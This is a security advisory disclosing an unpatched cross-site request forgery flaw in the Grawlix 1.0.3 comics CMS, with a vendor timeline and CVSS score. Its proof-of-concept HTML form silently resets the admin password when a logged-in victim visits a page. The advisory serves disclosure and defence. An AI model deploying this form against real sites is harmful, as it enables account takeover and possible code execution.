Grawlix 1.0.3: CSRF
Date: 2015-12-21 10:41:141. Introduction
| Affected Product: | Grawlix 1.0.3 |
| Fixed in: | not fixed |
| Fixed Version Link: | n/a |
| Vendor Website: | http://www.getgrawlix.com/ |
| Vulnerability Type: | CSRF |
| Remote Exploitable: | Yes |
| Reported to vendor: | 11/17/2015 |
| Disclosed to public: | 12/21/2015 |
| Release mode: | Full Disclosure |
| CVE: | n/a |
| Credits | Tim Coen of curesec GmbH |
2. Overview
CVSS
Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description
Grawlix is a CMS for publishing comics, which is written in PHP. In version 1.0.3, it does not have CSRF protection, which means that an attacker can perform actions for a victim, if the victim visits an attacker controlled site while logged in.
An attacker can for example change the password of an existing admin account, which may in turn lead to code execution via a different vulnerability in the admin area.
3. Proof of Concept
Change admin password:
<html>
<body>
<form action="http://localhost/grawlix-1.0.3/grawlix-1.0.3/_admin/user.config.php" method="POST">
<input type="hidden" name="username[1]" value="admin" />
<input type="hidden" name="email[1]" value="admin@example.com" />
<input type="hidden" name="password[1]" value="admin" />
<input type="hidden" name="confirm_password[1]" value="admin" />
<input type="hidden" name="submit" value="save" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
| 11/17/2015 | Informed Vendor about Issue (no reply) |
| 12/10/2015 | Reminded Vendor of Disclosure Date (no reply) |
| 12/21/2015 | Disclosed to public |